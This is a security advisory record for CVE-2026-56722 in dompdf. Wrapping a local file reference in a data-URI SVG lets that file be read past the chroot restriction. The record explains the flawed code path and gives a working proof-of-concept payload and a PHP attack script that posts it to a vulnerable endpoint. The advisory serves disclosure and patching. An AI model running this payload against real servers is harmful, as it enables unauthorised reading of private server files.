{"id":"CVE-2026-56722","aliases":["GHSA-cx96-42px-69fm"],"title":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","summary":"Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI","severity":"medium","cwe":["CWE-20","CWE-22"],"vendor":"dompdf","product":"dompdf/dompdf","ecosystem":"composer","affected":["dompdf/dompdf < 3.1.6"],"patched":["dompdf/dompdf 3.1.6"],"published":"2026-07-22","updated":"2026-07-22","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-cx96-42px-69fm","references":[{"url":"https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm"},{"url":"https://github.com/dompdf/dompdf/commit/6a58996865db05d8fede748507e50ac4b8c5bfd0"},{"url":"https://github.com/dompdf/dompdf/commit/bf7b02f642e26007dedc5a22b3d6e15f9931120a"},{"url":"https://github.com/dompdf/dompdf/releases/tag/v3.1.6"},{"url":"https://github.com/advisories/GHSA-cx96-42px-69fm"}],"tags":["ghsa","composer"],"ingestedAt":"2026-07-22T22:06:57.981Z","epss":0.00329,"epssPercentile":0.26187,"slug":"CVE-2026-56722","body":"## Overview\n\n**Description:** An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the `chroot` restriction. The vulnerability is exploitable in the default configuration.\n**Exploitation conditions:** An external user\n**Researcher:** Nikita Sveshnikov (Positive Technologies)\n\n## Research\ndompdf restricts access to local files using the `chroot` mechanism. By default, `chroot` is set to the root directory of dompdf (`Options.php:350-351`):\n\n_Listing 1. `chroot` settings_\n```\n$rootDir = realpath(__DIR__ . \"/../\");\n$this->setChroot(array($rootDir));\n// result: chroot = [\"/path/to/vendor/dompdf/dompdf\"]\n```\nWhen the HTML references a local file, `Options::validateLocalUri()` checks that the path resides within `сhroot`. A direct link to the file outside this directory is correctly blocked:\n\n_Listing 2. Blocking link_\n```\n<!-- BLOCKED: /tmp/ is outside chroot -->\n<img src=\"file:///tmp/secret.png\">\n```\n### How the protection is bypassed:\nAn attacker wraps the link to the target file in SVG format and delivers it via `data:` URI:\n\n_Listing 3. Wrapping link in SVG_\n```\n<img src=\"data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...\">\n```\nInside the base64 payload is an SVG containing the `<image>` element that points to the target file:\n\n_Listing 4. Pointing to the target file_\n```\n<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\"\n     width=\"589\" height=\"415\">\n  <image xlink:href=\"/tmp/secret.png\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/>\n</svg>\n```\n### Why the bypass works:\nThe issue is that dompdf handles the SVG twice: first through its own validator and then via  `php-svg-lib` — and the second pass does not apply the protection that the first pass does.\n\n**Step 1.** The `data://` protocol has no validation rules (`Options.php:546-547`):\n\n_Listing 5. Lack of rules_\n```\ncase \"data://\":\n    break;  // no rules\n```\n\nSVG content passes without any checks.\n\n**Step 2.** dompdf pre‑parses the SVG and validates the links inside it (`Cache.php:137-183`), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.\n\n**Step 3.** When rendering, the PDF backend passes the SVG to `php-svg-lib` with external links enabled (`lib/Cpdf.php:6315-6319`):\n\n_Listing 6. Passing the SVG_\n```\n$doc = new \\Svg\\Document();\n$doc->allowExternalReferences = true;  // forced\n$doc->loadFile($file);\n```\n`php-svg-lib` is a separate library that has no information about the `chroot` directory or the dompdf validation rules.\n\n**Step 4.** The `<image>` handler in `php-svg-lib` blocks only `phar://`, everything else is allowed when allowExternalReferences is true (`php-svg-lib/src/Svg/Tag/Image.php:60-68`):\n\n_Listing 7. `phar://` blocking_\n```\nif ($scheme === \"phar\"\n    || ($this->document->allowExternalReferences === false && $scheme !== \"data\")) {\n    return;\n}\n$this->document->getSurface()->drawImage($this->href, ...);\n```\n**Step 5.** `drawImage()` invokes `file_get_contents()` with no restrictions (`php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172`):\n\n_Listing 8. `file_get_contents()` call_\n```\n$data = file_get_contents($image);  // reads ANY path\n```\nThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.\n\n### An example of exploitation:\n_Listing 9. An example of a vulnerable code (html2pdf.php)_\n```\nrequire_once __DIR__ . '/vendor/autoload.php';\n\n$dompdf = new Dompdf\\Dompdf();\n$dompdf->loadHtml($_POST['html']);\n$dompdf->render();\n$dompdf->stream('poc.pdf', ['Attachment' => false]);\n```\n\n_Listing 10. An example attack on the vulnerable code_\n```\n$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';\n\n$svg = '<svg xmlns=\"http://www.w3.org/2000/svg\" xmlns:xlink=\"http://www.w3.org/1999/xlink\" width=\"589\" height=\"415\">'\n     . '<image xlink:href=\"' . htmlspecialchars($file, ENT_QUOTES) . '\" x=\"0\" y=\"0\" width=\"589\" height=\"415\"/>'\n     . '</svg>';\n\n$html = '<html><body>'\n      . '<img src=\"data:image/svg+xml;base64,' . base64_encode($svg) . '\">'\n      . '</body></html>';\n\n$url = 'http://example.com/html2pdf.php';\n$data = ['html' => $html];\n$headers = [\"Content-type: application/x-www-form-urlencoded\"];\n\n// use key 'http' even if you send the request to https://...\n$options = [\n    'http' => [\n        'header' => $headers,\n        'method' => 'POST',\n        'content' => http_build_query($data),\n        'ignore_errors' => true,\n    ],\n];\n$context = stream_context_create($options);\n$response = file_get_contents($url, false, $context);\n```\n\n_Figure 1. The image was read successfully_\n<img width=\"875\" height=\"404\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2\" />\n\n## Credits\nNikita Sveshnikov (Positive Technologies)\n\n## Affected packages\n\n- `dompdf/dompdf < 3.1.6`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `dompdf/dompdf 3.1.6`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}